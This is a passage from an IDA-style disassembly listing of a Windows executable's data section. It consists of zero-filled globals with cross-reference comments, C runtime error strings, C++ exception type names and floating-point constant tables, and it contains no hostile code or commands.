		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
dword_457444	dd 0A2EFh dup(0)
		db 0
byte_480001	db 3 dup(0)		; DATA XREF: Themida_:loc_56F77Fo
dword_480004	dd 4016h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432948o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
		dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
